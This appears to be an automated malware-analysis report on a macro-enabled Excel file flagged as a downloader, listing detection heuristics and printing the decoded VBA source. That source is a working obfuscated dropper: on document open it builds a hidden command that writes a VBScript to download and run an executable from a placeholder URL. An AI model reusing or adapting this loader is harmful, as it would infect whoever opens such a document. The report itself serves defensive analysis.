MALICIOUS
470
Risk Score
Heuristics 10
-
ClamAV: Doc.Macro.Downloader-6360616-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Downloader-6360616-1
-
VBA project inside OOXML medium 7 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _ -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _ -
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXECVBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.Matched line in script
" & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j … -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _ -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
" & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j … -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://example.com/xxxx.exe Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2560 bytes |
SHA-256: 75049f9930ec76de42ddb8ef0e422f9b92be0b8f2c8468c27233ef193d7a0bd3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Private Sub Document_Open()
W3j = Chr(64) & Chr(69) & Chr(67) & Chr(72) & Chr(79)
Shell Chr(973 - 906) & Chr(426 - 349) & Chr(170 - 70) & Chr(210 - 178) & Chr(886 - 839) & Chr(669 - 570) & Chr(210 - 178) & Chr(669 - 570) & Chr(170 - 70) & _
Chr(210 - 178) & Chr(56 - 19) & Chr(921 - 837) & Chr(990 - 921) & Chr(758 - 681) & Chr(790 - 710) & Chr(56 - 19) & _
" & " & W3j & " G0j= ""http://example.com/xxxx.exe"">>Q0s.VBS &" & W3j & " Y3f = Y5a(""jqkG^q^"")>>Q0s.VBS &" & W3j & " Set M8x = CreateObject(Y5a(""flqfeKGqfeammi""))>>Q0s.VBS &" & W3j & " M8x.Open Y5a(""`^m""), G0j, False>>Q0s.VBS &" & W3j & " M8x.send ("""")>>Q0s.VBS &" & W3j & " Set W4v = CreateObject(Y5a(""Z]h][Glmk^Zf""))>>Q0s.VBS &" & W3j & " W4v.Open>>Q0s.VBS &" & W3j & " W4v.Type = 1 >>Q0s.VBS &@eCHo W4v.Write M8x.ResponseBody>>Q0s.VBS &" & W3j & " W4v.Position = 0 >>Q0s.VBS &" & W3j & " W4v.SaveToFile Y3f, 2 >>Q0s.VBS &" & W3j & " W4v.Close>>Q0s.VBS &" & W3j & " function Y5a(N8a) >> Q0s.VBS &" & W3j & " For M1c = 1 To Len(N8a) >>Q0s.VBS &" & W3j & " I3t = Mid(N8a, M1c, 1) >>Q0s.VBS &" & W3j & " I3t = Chr(Asc(I3t)- 25) >>Q0s.VBS &" & W3j & " J6g = J6g + I3t >> Q0s.VBS &" & W3j & " Next >>Q0s.VBS &" & W3j & " Y5a = J6g >>Q0s.VBS &" & W3j & " End Function >>Q0s.VBS & Q0s.VBS &dEl Q0s.VBS & tIMeOUT 13 & QXR.EXE", vbHide
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 14848 bytes |
SHA-256: 5efbc9d23ead284943bc6da67597821c4066f4c77aa7f63285fc4dc4cde71c2c |
|||
|
Detection
ClamAV:
Doc.Macro.Downloader-6360616-1
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.